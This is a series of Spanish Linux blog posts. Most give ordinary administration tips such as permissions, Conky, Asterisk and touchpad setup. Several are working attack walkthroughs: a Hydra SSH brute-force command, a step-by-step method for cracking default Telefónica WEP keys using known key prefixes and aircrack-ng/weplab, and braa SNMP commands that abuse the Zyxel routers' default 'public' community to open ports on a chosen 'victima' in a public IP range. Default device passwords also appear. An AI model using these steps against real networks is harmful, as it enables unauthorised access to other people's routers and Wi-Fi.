Un ejemplo de uso de Hydra podría ser este:
hydra -l "usuario" -P "Fichero_passwords" -M "Fichero_ips" ssh

Hydra abre muchos ficheros simultaneamente en el sistema para realizar el proceso de crackeo de forma paralela, de este modo comprueba de forma simultánea varias cuentas, pero esto puede hacer que se alcance el límite impuesto por el sistema de ficheros abiertos.

Para comprobar cuantos ficheros hay abiertos actualmente es tan fácil como:
lsof | wc -l

Podemos consultar el límite con:
sysctl fs.file-max

Si vemos que se supera editamos el fichero /etc/sysctl.conf y aumentamos el límite del parámetro fs.file-max.
Para aplicar los cambios ejetuamos:
sysctl -p

También es posible que nos esté limitando PAM con sus restricciones, para evitar esto editamos el fichero /etc/security/limits.conf

"usuario" hard nofile "max nº de ficheros"

Con esto ya no creo que haya mayor problema a la hora de crackear ;)

CORRECCIÖN: Sigue apareciendo el error del límite de ficheros abiertos, no se si se debe a que la versión que he compilado es una versión beta :(

HoneyPot básico

2011-04-14T12:42:00.004+02:00

Hola amigos, en esta ocasión vamos a preparar un HoneyPot muy básico, este nos permitirá guardar un registro de los comandos enviados al supuesto servicio vulnerable.

Los primero será tener instalado netcat:
apt-get install netcat

Ahora generamos el Script del HoneyPot (honey.sh):
#!/bin/bash

buff="220 ProFTPD 1.3.3c Server (ProFTPD)"
rm -rf /var/log/honeylog.log 2>/dev/null

for i in $(ps aux|grep honey|grep -v grep|grep -v $$| awk '{print $2}'); do kill -9 $i 2>/dev/null; done

while [ 1 ]; do
echo $buff | netcat -v -l -p 21 >> /var/log/honeylog.log 2>> /var/log/honeylog.log
done

Como se puede observar nos hacemos pasar por el servicio ProFTPD 1.3.3c y los logs son guardados en /var/log/honeylog.log, con un tail -f /var/log/honeylog.log podremos ver los accesos en tiempo real.

Cabe destacar que se puede indicar el banner que se desee haciendose pasar por cualquier otro servicio.

Espero que hayais disfrutado con este articulillo, fácil y rápido, que mas se puede pedir ;)

Permisos en Linux, la guía definitiva.

2011-04-02T22:14:00.018+02:00

Los permisos de directorios y ficheros en el mundo Linux son muy sencillos en un principio pero cuando empezamos a tener en cuenta el sticky bit y otras herramientas como chattr la cosa se complica. Todo administrador debería de tener estos conceptos muy claros ya que si no es así el sistema se convertirá en un queso de gruyere en dos días.
En este manual se va a explicar desde los mas básico a lo mas complejo.

-----------------------------------------------------------

PERMISOS BÁSICOS:
Los permisos de un fichero se dividen en tres trios de permisos, los primeros tres corresponden al propietario del usuario, los siguientes tres al grupo al que pertenece y los otros tres a otros.

Un ejemplo en el que el fichero .profile pertenece al usuario root y al grupo root, el propietario tiene permisos de lectura y escritura, el grupo de lectura y los otros de lectura.
-rw-r--r-- 1 root root 140 nov 19 2007 .profile

Para asignar permisos a los ficheros lo mas fácil es aprenderse la correspondencia:
R: 4 --> Lectura
W: 2 --> Escritura
X: 1 --> Ejecución

Por lo tanto si queremos asignar permisos de RW para el propietario, WX para el grupo y R para otros se haría del siguiente modo: chmod 634 "fichero".

Para poder hacer un cd se necesitan permisos de ejecución en el direcotrio.
Para acceder a un subdirectorio que nos pertenece pero cuelga de otro, se necesitan permisos de ejecución en el direcotrio intermedio para poder pasar a través de él.

Si se otorgan permisos de lectura sin ejecución y se hace un ls -la del directorio:
usuario@debian:/$ ls -la aaa/
ls: no se puede acceder a aaa/.: Permiso denegado
ls: no se puede acceder a aaa/..: Permiso denegado
ls: no se puede acceder a aaa/ff.sh: Permiso denegado
total 0
d????????? ? ? ? ? ? .
d????????? ? ? ? ? ? ..
-????????? ? ? ? ? ? ff.sh

-----------------------------------------------------------

UMASK:
Se trata de los permisos por defecto que adoptarán los ficheros y directorios cuando se creen. Para definir el valor de umask hay que pensar "a la inversa: wildcard", con un ejemplo se verá claro: umask 007 equivaldría a chmod 770.

También hay que tener en cuenta que los ficheros se generarán con los permisos indicados en umask pero eliminando el permiso de ejecución. Si asigno un umask de 522 se crearían con los siguientes permisos:
- Directorios: 255
- Ficheros: 244

Otro aspecto a tener en cuenta es que el valor de umask va ligado al usuario, para poder definir un umask de forma global debemos editar el fichero: /etc/profile y si queremos hacerlo en un solo usuario: ~/.bashrc, hasta que el usuario no salga y vuelva logarse no se hará efectivo.

-----------------------------------------------------------

STICKY BIT:

Podremos saber si el sticky bit está activado mirando los permisos de ejecución. Para el propietario y el grupo se representa con una s y para otros con una t, si el bit de ejecución ya estaba habilitado aparecerá la s o la t en minúsculas, en caso contrario en mayúsculas.
- Ejemplo en el que NO está habilitado el permiso de ejecución y sí el Sticky bit: rSr-Sr-T.
- Ejemplo en el que SI está habilitado el permiso de ejecución y sí el Sticky bit: rwsr-sr-t.

Este bit se comportará de un modo u otro según esté definido en un directorio o un fichero.

Fichero:
4000 --> Si es ejcutable se ejecutará con los permisos del propoietario
2000 --> Si es ejecutable se ejecutará con los permisos del grupos
1000 --> Se empleaba para que el SO mantuviese el fichero en SWAP, actualmente es ignorado

Directorio:
4000 --> No se utiliza para nada
2000 --> Los ficheros o directorios generados pertenecerán al grupo al que pertenece el directorio actual.
1000 --> Los fichero o directorios solo pueden ser renombrados o borrados por el propietario del elemento, el propietario del directorio o el usuario root, aunque el resto de usuarios tenga permisos de escritura.
NOTA:Pero si que pueden ser editados si se tienen los permisos adecuados.

Para eliminar el sticky bit no basta con ejecutar 0799 por ejemplo, hay que hacerlo con:
- chmod -s
- chmod -t

-----------------------------------------------------------

CHATTR:

NOTA:
- Las opciones c, s y u no están implementadas de forma nativa en ext2 y ext3
- La opción j solo funciona sobre ext3
- La opción D requiere un kernel >= 2.5.19

+A --> No se actualiza la hora de acceso al fichero, pero sí la de modificación.
+a --> Solo se puede añadir al fichero, solo ROOT puede asignar este parámetro.
+c --> Comprime de forma transparente el fichero
+D --> Si se aplica a un directorio los cambios realizados en él son escritos al momento en el disco duro.
+d --> Este fichero será ignorado por el programa dump (Backups)
E --> Indica que hay un problema de compresión con el fichero, no se puede modificar, solo se puede ver con lsattr
e --> Indica que se emplean "extents" para saber las posiciones del disco que contienen la información del fichero, no se debe modificar.
I --> Indica que el directorio es indexado empleando hashed tree, no tocar
h --> Indica que el tamaño del fichero se entrega en bloques no en sectores, no tocar.
+i --> No puede ser borrado, renombrado o vinculado mediante un link.
+j --> La información del fichero es escrita primero al journal si la partición está montada con las opciones "data=ordered" or "data=writeback".
+s --> Cuando se borre este fichero se sobreescribe se escriben ceros ;)
+S --> La información se escribe al momento en el disco.
+T --> Si se deshabilita el algoritmo de distribución de datos en el disco (Orlov) intentará meter los datos lo mas juntos posible entre ellos.
+t --> Deshabilita el "tail-merging" (aprovechar huecos de otros ficheros para meter información de este fichero) del fichero, opción necasaria para LILO (acceso directo el disco).
+u --> Permite el "undelete" del fichero
X --> Indica que el contenido de un fichero comprimido puede ser accedido en "raw", no se puede cambiar
Z --> Indica que el contenido de un fichero comprimido está "dirty", no se puede cambiar

Podemos ver los atributos de un fichero con el el comando lsattr.

Para comprobar opciones como +A se puede emplear la herramienta stat.
stat "fichero": Muestra información sobre el acceso a los ficheros.

Espero que le saqueis jugo al artículo ya que en mi opinión está muy completito ;)

Conky a fondo

2011-03-03T22:46:00.022+01:00

Hola amigos, en esta ocasión vamos a instalar y configurar una de las herramientas de monitorización mas versátiles en Linux, estoy hablando de Conky. Ya escribí con anterioridad un artículo sobre este software pero esta vez vamos a destriparlo al completo ;)

Lo primero será descargar el software desde la página del proyecto en SourceForge.

Descargamos las fuentes:
cd /usr/src
wget http://sourceforge.net/projects/conky/files/conky/1.8.1/conky-1.8.1.tar.gz

Una vez descargado lo descomprimimos de la forma habitual:
tar xvzf conky-1.8.1.tar.gz

Lo instalamos:
cd conky-1.8.1
./configure --enable-weather-metar --enable-lua --enable-wlan
make
make install

Ahora ya tendríamos Conky listo para funcionar, pero si queremos monitorizar aspectos meteorológicos desde el tendremos que instalarle un paquete adicional llamado conkyForecast.
dpkg -i conkyforecast_2.09_all.deb

Para poder realizar consultas debemos abrirnos una cuenta en:
http://www.weather.com/services/xmloap.html

Los ficheros de configuración de Forecast además de necesitar los datos de acceso también necesita el código de la zona geográfica, para Madrid por ejemplo se obtendría visitando esta página.

Editamos el fichero de configuración de ConkyForecast:
vi /usr/share/conkyforecast/conkyForecast.config

Copiamos el fichero de configuración al directorio home del usuario:
cp /usr/share/conkyforecast/conkyForecast.config /home/"usuario"/.conkyForecast.config
chown "usuario"."usuario" /home/"usuario"/.conkyForecast.config

Para pedir información desde el fichero de configuración se hará del siguiente modo:
${offset 165}${voffset -45}${font Weather:size=14}${color Red}y ${color}${font}Temp: ${alignr}${execi 3600 conkyForecast --location=SPXX0050 --datatype=LT} / ${execi 3600 conkyForecast --location=SPXX0050 --datatype=HT}
${offset 165}${font ConkyWeather:size=11}${color Deep Sky Blue}8 ${color}${font}Humedad: ${alignr}${execi 3600 conkyForecast --location=SPXX0050 --datatype=HM}
${offset 165}${font ConkyWeather:size=11}${color Aquamarine}2 ${color}${font}Viento: ${alignr}${execi 3600 conkyForecast --location=SPXX0050 --datatype=WS}

Estos son solo algunos parámetros, para ver que mas se puede pedir ejecutamos:
conkyForecast --help

Como ya he dicho Conky es altamente configurable, tanto que permite añadir diferentes fuentes, para ello habrá que instalarlas primero. Una buena página de donde descargarlas es Dafont.

Cuando nos bajemos las fuentes las decomprimimos en un directorio y las movemos a /usr/share/fonts/truetype:
cp *.ttf /usr/share/fonts/truetype

Asignamos los permisos pertinentes:
chmod 755 /usr/share/fonts/truetype/*

Regeneramos el índice de fuentes:
su "usuario"
fc-cache -f -v

Para ver las fuentes disponibles:
fc-list
exit

Cabe destacar que si indicamos en el fichero de configuración una fuente que no se encuentra instalada nos aparecerá la letra pero no el dibujo.

Otra opción interesante de Conky es colorear el texto, un ejemplo puede ser:
${font StyleBats:size=16}i${font}${color Tan1} Kernel: ${color}${alignr}${kernel}

Existe una tabla con los colores disponibles en la Wikipedia.

Creamos el directorio donde guardaremos todos los ficheros relacionados con conky:
mkdir /home/"usuario"/.conky

Conky nos permite pintar diferentes textos o gráficos en base a ciertas condiciones, es tan sencillo como esto:
MAC_AP: $alignr${execi 30 /home/"usuario"/.conky/MAC.sh}${if_existing /tmp/MAC_OK}${color Green}${font sans-serif:normal:size=8}${execi 60 GW=$(/sbin/route -n|grep UG|awk -F " " '{print$2}') && /usr/sbin/arp -a|grep $GW|awk -F " " '{print$4}'}${font}${color}${else}${color Red}${font sans-serif:normal:size=8}${execi 60 GW=$(/sbin/route -n|grep UG|awk -F " " '{print$2}') && /usr/sbin/arp -a|grep $GW|awk -F " " '{print$4}'}${font}${color}${endif}

Primero ejecuta el script /home/"usuario"/.conky/MAC.sh, este generará el fichero /tmp/MAC_OK en caso de que la MAC del AP coincida con una conocida, en caso contrario no lo generará.
Si existe el fichero /tmp/MAC_OK nos pintará de color verde la salida del comando /usr/sbin/arp -a|grep wlan0|awk -F " " '{print$4}' en caso contrario lo hará en rojo.

De este modo podemos monitorizar si nos han envenenado la tabla ARP para el AP ;)

En el script MAC.sh hay que modificar el parámetro MAC por la MAC de vuestro AP.

Si os fijais en la configuración de mi Conky podreis ver que hay otras comparaciones sobre uso de RAM o disco duro de modo que si se supera el 90% el icono será pintado en rojo.

Aquí podeis encontrar mi configuración con resolución de portatil.
Aquí la del monitor.

Para ejecutarla sería tan sencillo como conky -c conky-config
También me he currado un pequeño script que se puede añadir al arranque de gnome para que compruebe la resolución de las X y cargue una configuración u otra.

Creo que con esto queda casi todo explicado sobre Conky, solo quedaría el tema de los scripts en LUA pero esa es otra historia.......

IE en Linux

2010-12-26T13:09:00.005+01:00

Por desgracia hay varias páginas web que no funcionan correctamente si no se visualizan en Internet Explorer, hay otras que incluso realizan comprobaciones del navegador empleado y deniegan el acceso, este último problema se puede resolver fácilmente mediante un plug-in de Firefox.

En el primero de los casos no tendremos mas remedio que tragar e instalar IE.

apt-get install wine libxxf86dga1 libxxf86vm1 cabextract lib32nss-mdns

wget http://www.tatanka.com.br/ies4linux/downloads/ies4linux-latest.tar.gz
tar zxvf ies4linux-latest.tar.gz
cd ies4linux-*
./ies4linux

Ahora ya podremos ver las páginas que daban problemas ;)

Seleccionar dispositivo de video.

2010-12-26T12:56:00.004+01:00

Hoy en día cada vez es mas frecuente encontrarse con portatiles o monitores que incorporan una webcam para videoconferencia, estos dispositivos pueden servirnos para realizar videos en una calidad mas o menos decente, dependiendo de la webcam que poseamos.
En este artículo voy a explicar como realizar grabaciones a través de mencoder y como visualizar el video capturado en tiempo real desde la webcam.

Para realizar las grabaciones basta con especificar el dispositivo de video:
mencoder tv:// -tv driver=v4l2:width=320:height=240:device=/dev/video0 -nosound -ovc lavc -o wcrecording.avi

Para reproducir en tiempo real lo que la webcam está capturando:
mplayer tv:// -tv driver=v4l2:width=640:height=480:device=/dev/video0

Si se tiene mas de una webcam se podrá seleccionar la apropiada cambiando /dev/video0 por /dev/videoX

Cairo Dock sin Compiz

2010-11-28T14:03:00.005+01:00

Cairo Dock es un magnífico dock que nos permite lanzar aplicaciones de forma rápida y con animaciones realmente bonitas, en este tutorial voy a explicar los pasos necesarios para instalarlo en Debian Lenny(estable) sin necesidad de Compiz(de este modo ahorraremos preciados recursos).
Cairo necesita un "Composite manager" para poder generar las transparencias y demás efectos, para no tener que instalar Compiz habilitaremos el "Composite manager" de Metacity.

Añadimos el siguiente repositorio:

vi /etc/apt/source.list
deb http://repository.glx-dock.org/debian stable cairo-dock

Añadimos la llave pública del repositorio recien instalado:
wget -q http://repository.glx-dock.org/cairo-dock.gpg -O- | sudo apt-key add -

Actualizamos la base de datos de software:
apt-get update

Instalamos Cairo Dock:
apt-get install cairo-dock cairo-dock-plug-ins

Habilitamos el "Composite manager":
Ejecutamos: gconf-editor
Navegamos hasta Apps->metacity->general
Marcamos la casilla compositing_manager

Para que Cairo Dock sea lanzado en cada inicio de sesión debemos añadirlo ejecutando: gnome-session-properties

Seguramente ya aparezca una entrada llamada GLX-Dock, en caso contrario añadimos una con el comando: cairo-dock -o

Ahora cerramos la sesión y la volvemos a iniciar sesión.
Ya tenemos nuestro Cairo Dock completamente funcional.

Configuración SynPS/2 Synaptics TouchPad

2010-10-24T13:19:00.007+02:00

En este manual voy a explicar como realizar la configuración avanzada de SynPS/2 Synaptics TouchPad, este touchpad tiene la capacidad de detectar movimiento horizontal, vertical y circular, este último resulta muy útil en las páginas web muy grandes.

Primero comprobamos que tenemos este touchpad en el equipo:
cat /proc/bus/input/devices

Ahora debemos editar el fichero de configuración del servidor gráfico:
vim /etc/X11/xorg.conf

Section "ServerLayout"
Identifier "Layout0"
Screen 0 "Screen0"
InputDevice "Keyboard0" "CoreKeyboard"
InputDevice "Synaptics Touchpad" "AlwaysCore"
EndSection

Section "Files"
EndSection

Section "Module"
Load "dbe"
Load "extmod"
Load "type1"
Load "freetype"
Load "glx"
Load "synaptics"
EndSection

Section "InputDevice"
Identifier "Synaptics Touchpad"
Driver "synaptics"
Option "AlwaysCore" "true" # send events to CorePointer
#Option "Device" "/dev/input/mice"
Option "Device" "/dev/psaux"
Option "Protocol" "auto-dev"
Option "SHMConfig" "true" # configurable at runtime? security risk
Option "LeftEdge" "1400" # x coord left
Option "RightEdge" "5000" # x coord right
Option "TopEdge" "1300" # y coord top
Option "BottomEdge" "4300" # y coord bottom
Option "FingerLow" "25" # pressure below this level triggers release
Option "FingerHigh" "30" # pressure above this level triggers touch
Option "MaxTapTime" "180" # max time in ms for detecting tap
Option "VertEdgeScroll" "true" # enable vertical scroll zone
Option "HorizEdgeScroll" "true" # enable horizontal scroll zone
Option "CornerCoasting" "true" # enable continuous scroll with finger in corner
Option "CoastingSpeed" "0.30" # corner coasting speed
Option "VertScrollDelta" "45" # edge-to-edge scroll distance of the vertical scroll
Option "HorizScrollDelta" "45" # edge-to-edge scroll distance of the horizontal scroll
Option "MinSpeed" "0.10" # speed factor for low pointer movement
Option "MaxSpeed" "0.60" # maximum speed factor for fast pointer movement
Option "AccelFactor" "0.0020" # acceleration factor for normal pointer movements
Option "VertTwoFingerScroll" "true" # vertical scroll anywhere with two fingers
Option "HorizTwoFingerScroll" "true" # horizontal scroll anywhere with two fingers
Option "TapButton1" "1"
Option "TapButton2" "2"
Option "TapButton3" "3"
Option "EdgeMotionUseAlways" "1"
Option "EmulateMidButtonTime" "75"
EndSection

El valor actual de estas opciones se puede consultar con el comando:
synclient -l

Como se puede observar se pueden tocar más parámetros pero yo no me he parado a investigar para que sirven.

Ahora instalamos un configurador para ciertos parámetros como el inicio del movimiento circular:
apt-get install gsynaptics

Con esto ya solo faltaría reiniciar las X y listo!!!
/etc/init.d/gdm restart

Grabación de las X

2010-10-02T13:06:00.006+02:00

Seguro que alguna vez querías enseñarle a un amigo el procedimiento a seguir para hacer algo, pero por chat era una tediosa tarea y desearías poder grabar un video para que lo viese con sus propios ojos.

Si es así estas de suerte, sigue leyendo ;)

Instalamos las herramientas necesarias:

apt-get install gtk-recordmydesktop mencoder

Arrancamos gtk-recordmydesktop y lo configuramos:

Guardar Como: "Nombre del fichero"
Seleccionamos la ventana que también puede ser una zona determinada del monitor.

Cuando hayamos terminado presionamos el botón de stop que aparecerá en la barra de Gnome.

Todo esto producirá un fichero con extensión ogv, se puede pasar a avi de forma muy sencilla:
mencoder grabacion.ogv -ovc xvid -oac mp3lame -xvidencopts pass=1 -o archivosalida.avi
rm grabacion.ogv

Con esto ya tendremos un fichero .avi totalmente convencional que podremos reproducir en cualquier lugar.

Cambiar colores bash

2010-09-29T14:46:00.007+02:00

Es posible configurar bash para que nos muestre ciertos ficheros de un color determinado, esto se consigue con la orden ls --color=tty.

Los pasos a seguir son:
cd ~
dircolors --print-database > .dir_colors
vim .dir_colors
DIR 01;33 # directory --> Con esto el color de los directorios pasará de azul asqueroso a un bonito amarillo ;)

vim .bashrc
if [ -x /usr/bin/dircolors ]; then
eval "`dircolors -b .dir_colors`"
alias ls='ls --color=auto'
fi

Cerramos el terminal, abrimos otro y listo.

Crackear wifis Timofónica en 2 minutos

2010-09-19T13:54:00.007+02:00

Es sabido por todos que los routers ADSL de Telefónica vienen configurados con un ESSID determinado, por lo tanto es muy fácil localizar este tipo de redes.

Según el modelo del router la password de la red inalámbrica será una u otra, las passwords siguen un patrón común si no se cambia la que viene configurada por defecto:

Password: RaízXXXXYY

Según el modelo tienen una "raíz de contraseña"

Z-com -> Z001349

Zyxel -> Z001349

P-660HW-D1 -> Z001349

Xavy -> X000138

Comtrend -> C0030DA

Zygate -> Z0002CF o C0030DA

Por la MAC del AP se puede saber el fabricante.

Las dos últimas cifras YY son los dos últimos carácteres del ESSID --> WLAN_YY

Como veis solo faltan cuatro caracteres mas y tendremos la password completa.

El ataque que vamos a realizar de esos caracteres será por fuerza bruta, para ello vamos a emplear una herramienta llamada wlandecrypter.

También nos será necesario el software weplab y la suite aircrack-ng

apt-get install weplab aircrack-ng

Ahora que ya lo tenemos todo instalado comenzamos el proceso:

airmon-ng start wlan0 --> Pone en modo monitor la subinterfaz mon0

airodump-ng mon0 --> Miramos a ver que se ve por mon0

airodump-ng --write "captura_wlan" --channel "CANAL" --bssid "BSSID" mon0 --> Capturamos el tráfico de la Wifi que nos interesa.

Cuando tengamos 4 o mas paquetes en el campo data podemos parar la captura presionando Ctrl+C

Ahora es el momento de usar wlandecrypter.

wlandecrypter "BSSID" "ESSID" | weplab --key 128 -y --bssid "BSSID" captura_wlan.cap

Esto debería de sacarnos la password en ASCII y en Hexadecimal:

Right KEY found!!

Passphrase was --> C0030DAA46F05

Key: 43:30:30:33:30:44:41:41:34:36:46:30:35

En este caso se puede ver que se trata de un Comtrend:C0030 y el ESSID es WLAN_05: 05 por fuerza bruta hemos sacado los caracteres DAA46.

NOTA: Cambiad la password por defecto!!!

SNMP por defecto Prestige P-660HW-D1, P-660R-D1

2010-09-16T19:32:00.005+02:00

Hola amigos, en esta ocasión traigo material de primera ;), se trata de como modificar reglas de filtrado en los routers Zyxel Prestige P-660HW-D1, P-660R-D1 por SNMP.

Estos equipos vienen configurados con una community por defecto tanto para lectura como para escritura, de esta forma se puede llegar a configurar el dispositivo por SNMP de forma remota.

Para empezar vamos a bajarnos y compilar la herramienta braa, se trata de un scanner SNMP.

wget http://s-tech.elsat.net.pl/braa/braa-0.82.tar.gz
tar xvzf braa-0.82.tar.gz

Si tenemos un sistema Linux basta con "make"
make
cp braa /usr/bin

Ahora que ya tenemos braa en nuestro sistema, pedimos un OID a un rango de direcciones, este OID es para pedir el nombre del sistema a los equipos de Zyxel(cada fabricante emplea su propia MIB).

braa public@88.18.11.1-88.18.11.254:161:.1.3.6.1.2.1.1.1.0

Ahora solo falta seleccionar a la victima.

Comprobamos que los puertos estan cerrados:
nmap -p 80,21,23 88.22.xyz.100

Starting Nmap 4.53 ( http://insecure.org ) at 2009-06-22 19:12 CEST
Interesting ports on 100.Red-88-22-xyz.staticIP.rima-tde.net (88.22.xyz.100):
PORT STATE SERVICE
21/tcp filtered ftp
23/tcp filtered telnet
80/tcp filtered http

Ahora los abrimos.

Para los modelos P-660HW-D1:
braa -v -t 5 -p 200 public@88.22.xyz.100:.1.3.6.1.4.1.890.1.2.1.5.2.1.8.10.4=i81 --> Abrimos el puerto 80

braa -v -t 5 -p 200 public@88.22.xyz.100:.1.3.6.1.4.1.890.1.2.1.5.2.1.8.10.5=i22 --> Abrimos el puerto 21

braa -v -t 5 -p 200 public@88.22.xyz.100:.1.3.6.1.4.1.890.1.2.1.5.2.1.8.10.5=i24 --> Abrimos el puerto 23

Se puede deducir que sigue la lógica de puerto+1, queremos abrir el puerto 80 --> i"puerto+1" --> i80+1 --> i81

Comprobamos que realmente estan abiertos:
nmap -p 80,21,23 88.22.xyz.100

Starting Nmap 4.53 ( http://insecure.org ) at 2009-06-22 19:09 CEST
Interesting ports on 100.Red-88-22-xyz.staticIP.rima-tde.net (88.22.xyz.100):
PORT STATE SERVICE
21/tcp open ftp
23/tcp open telnet
80/tcp open http

Para dejarlo como antes:
braa -v -t 5 -p 200 public@88.22.xyz.100:.1.3.6.1.4.1.890.1.2.1.5.2.1.8.10.4=i80

braa -v -t 5 -p 200 public@88.22.xyz.100:.1.3.6.1.4.1.890.1.2.1.5.2.1.8.10.5=i21

braa -v -t 5 -p 200 public@88.22.xyz.100:.1.3.6.1.4.1.890.1.2.1.5.2.1.8.10.5=i23

Comprobamos que vuelven a estar cerrados.

nmap -p 80,21,23 88.22.xyz.100

Starting Nmap 4.53 ( http://insecure.org ) at 2009-06-22 19:12 CEST
Interesting ports on 100.Red-88-22-xyz.staticIP.rima-tde.net (88.22.xyz.100):
PORT STATE SERVICE
21/tcp filtered ftp
23/tcp filtered telnet
80/tcp filtered http

Ya veis parece increible pero puedo dar fe de que funciona ;)

En el modelo P-660R-D1

braa -v -t 5 -p 200 public@88.22.xyz.244:.1.3.6.1.4.1.890.1.2.1.5.2.1.8.10.4=i81
braa -v -t 5 -p 200 public@88.22.xyz.244:.1.3.6.1.4.1.890.1.2.1.5.2.1.8.10.5=i22
braa -v -t 5 -p 200 public@88.22.xyz.244:.1.3.6.1.4.1.890.1.2.1.5.2.1.8.10.6=i24

braa -v -t 5 -p 200 public@88.22.xyz.244:.1.3.6.1.4.1.890.1.2.1.5.2.1.8.10.4=i80
braa -v -t 5 -p 200 public@88.22.xyz.244:.1.3.6.1.4.1.890.1.2.1.5.2.1.8.10.5=i21
braa -v -t 5 -p 200 public@88.22.xyz.244:.1.3.6.1.4.1.890.1.2.1.5.2.1.8.10.6=i23

Para remediar toda esta historia habrá que configurar SNMP con alguna community menos conocida, jejeje

La gente no suele cambiar la password por defecto de los routers caseros ya que deshabilitan el acceso en la interfaz WAN, pero de este modo BANG!! estamos dentro.

Apagar monitor desde la linea de comandos

2010-09-13T22:16:00.009+02:00

Cuando pasa algún tiempo mi portátil deja la pantalla en negro que no es lo mismo que apagada. Esto se puede remediar apagando de verdad la pantalla ahorrando algo de batería, estos son los comandos.

xset dpms force off --> Apaga el monitor
xset dpms force on --> Enciende el monitor
xset dpms force standby --> Pone en standby el monitor
xset dpms force suspend --> Suspende el monitor

La verdad es que apagarlo, suspenderlo y ponerlo

en standby aparentemente hace lo mismo.

Usuario Linux.

2010-09-06T21:57:00.003+02:00

Dejo aquí el enlace de una página web en la que nos podremos registrar como usuario Linux, de esta forma se pueden realizar estadisticas para saber cuantos usuarios hay, que distribuciones se usan o que kernel emplean.

Bastante interesante ;)

Ocultar password en scripts Bash

2010-08-23T18:01:00.003+02:00

Ya que me he puesto con el tema de scripting voy a comentar un truquillo que seguro que le va a gustar a mas de uno.
Se trata de como deshabilitar el echo de nuestro terminal para poder introducir passwords sin que aparezcan en pantalla.

Es tan sencillo como:
#!/bin/bash
stty_save=$(stty -g) ---> Guardamos el estado de nuestro terminal
stty -echo --> Deshabilitamos el echo
echo Introduzca Password:
read secret
stty $stty_save --> Reestaablecemos la configuración inicial
echo Password introducido:
echo $secret

Scripting Interactivo

2010-08-23T17:42:00.005+02:00

Seguro que alguna vez habeis tenido que programar algún script que precisaba de interacción humana porque pedía usuario y password y no había forma de pasarle estos parámetros al invocar el programa.

Para esta problemática se inventó expect, gracias a expect podremos esperar respuesta por parte del comando ejecutado y responder en consecuencia.

Lo mejor de todo es que podemos empotrar código expect dentro de nuestros scripts en bash.

Voy a poner un ejemplo en el que se realiza una conexión por telnet y reinicia el router:

#!/bin/bash

/usr/bin/expect -- << EOF
spawn telnet 192.168.1.1
expect "Trying 192.168.1.1..."
expect "Connected to 192.168.1.1."
expect "Escape character is '^]'."
expect "BCM96348 ADSL Router"
expect "Login:"
send "1234\r"
expect "Password:"
send "1234\r"
expect ">"
send "reboot"
send "\r"
expect "The system shell is being reset. Please wait..."
EOF

Así de fácil ;)

Compilación de Asterisk-RSP

2010-07-25T09:46:00.004+02:00

Hola amigos, después de una larga temporada me he decidido a escribir una articulo sobre como compilar Asterisk-RSP.
Se trata de un asterisk con una serie de parches para que resulte ser lo mas fiable, estable y seguro posible.

Las fuentes las bajaremos desde sus repositorios de subversion:
apt-get install subversion

cd /usr/src
svn checkout http://asterisk-es-rsp.irontec.com/svn/asterisk-es-rsp/branches asterisk-es-rsp

Por si tenemos algún asterisk anterior instalado:
/etc/init.d/dahdi stop

Antes de comenzar comentar que las librerias libpri son necesarias si se van a emplear tarjetas RDSI en nuestra centralita, DAHDI en cambio es lo que anteriormente se conocía como zaptel que no son ni mas ni menos que drivers para diferentes tarjetas.

Empezamos la compilación y la instalación:

cd asterisk-es-rsp/libpri/"versión"
make
make install

cd ../../dahdi-linux/"versión"
make
make install

cd ../../dahdi-tools/"versión"
./configure
make menuselect --> Lo dejamos por defecto a no ser que queramos alguna opción fuera de lo normal.

make clean
make
make install
make config

cd ../../asterisk/"versión"
./configure
make clean
make
make install
make samples --> CUIDADO BORRA CONFIG ANTERIOR!!!!!!!
make progdocs
make es-sounds
Decir que si a todos los formatos
make config

Borramos extensiones y configuración de prueba del dialplan.
rm /etc/asterisk/extensions.ael
rm -rf /usr/src/asterisk-es-rsp/asterisk/1.4.24/pbx/ael/ael-test/*

Configuramos Dahdi:
cp /usr/src/asterisk-es-rsp/dahdi-tools/2.1.0.2/xpp/genconf_parameters /etc/dahdi/genconf_parameters.sample
/etc/init.d/dahdi start
dahdi_genconf
dahdi_cfg -vv

DAHDI solo es necesario si se van a emplear trajetas para llamar al exterior.

Los ficheros de configuración de DAHDI son:
/etc/dahdi/system.conf
/etc/dahdi/modules --> Modulos que debe cargar dependiendo de nuestras tarjetas
/etc/asterisk/chan_dahdi.conf --> Indicamos a Asterisk los canales DAHDI.

He creado un script que nos facilitará la vida en instalaciones desde cero, este nos genera varios ficheros con la configuración indicada.

Escaner fácil y rápido

2010-05-07T22:44:00.003+02:00

AutoScan una herramienta realmente interesante para echar un vistazo rápido de nuestra red y sus inquilinos.
Podemos hacer un escaneo de los servicios mas comunes, por supuesto podemos configurar este software para escanee los puertos que a nosotros nos interesen.

Cabe la posibilidad de indicarle scripts para poder ejecutarlos sobre los hosts descubiertos, la verdad es que esta herramienta no aporta nada innovador, pero es muy visual. Me recordó un poco a LanGuard.

Para instalarla basta con dirigirse a la web del proyecto.
Descomprimimos el software:
tar xvzf AutoScan-Network-Linux-1.50.bin.tar.gz

Lo instalamos:
sh AutoScan-Network-Linux-1.50.sh

La configuración es muy sencilla, se le indica nuestra red y la interfaz empleada.

Sheeva una autentica maravilla

2010-05-07T21:55:00.003+02:00

Voy a explicar como conectar con los equipos Sheeva, se trata de unos equipos con un micro a 1.2GHz, 512Mb de ram, todo esto embebido en una cajita muy mona.
Tenemos la posibilidad de pedirlo con Debian preinstalado ya sea en la NAND o en una tarjeta SD.
Para poder conectarnos por el miniUSB que trae tendremos que añadir cierto modulo en el kernel.
El driver en cuestió se encuentra en:
Device drivers --> USB Support --> USB Serial converter --> USB FTDI Single Port Serial Driver

Después reiniciamos con este kernel, si lo hemos compilado dentro del kernel pues ya estaremos listos, si no cargamos el módulo: modprobe ftdi_sio

Después de cargar el módulo podemos observar que se ha generado el dispositivo: /dev/ttyUSB0

Instalamos minicom:
apt-get install minicom

Lo configuramos de forma apropiada:
minicom -s

Configuración de la puerta serial:
| A - Dispositivo Serial : /dev/ttyUSB0
| B - Localización del Archivo de Bloqueo : /var/lock
| C - Programa de Acceso :
| D - Programa de Salida :
| E - Bps/Paridad/Bits : 115200 8N1
| F - Control de Flujo por Hardware: No
| G - Control de Flujo por Software: No

Con esto ya estamos listos, guardamos la configuración como predeterminada:
Salvar configuración como dfl

Ejecutamos minicom.

Nos aparecerá una ventana de login, accedemos como root con password: nosoup4u

La verdad es que este aparatillo es ideal para tener un servidor que consuma poca energia, además al usar los repositorios de debian todo el software disponible para esta distro está a nuestro alcance ;)

Claves públicas SSH

2010-04-30T19:49:00.004+02:00

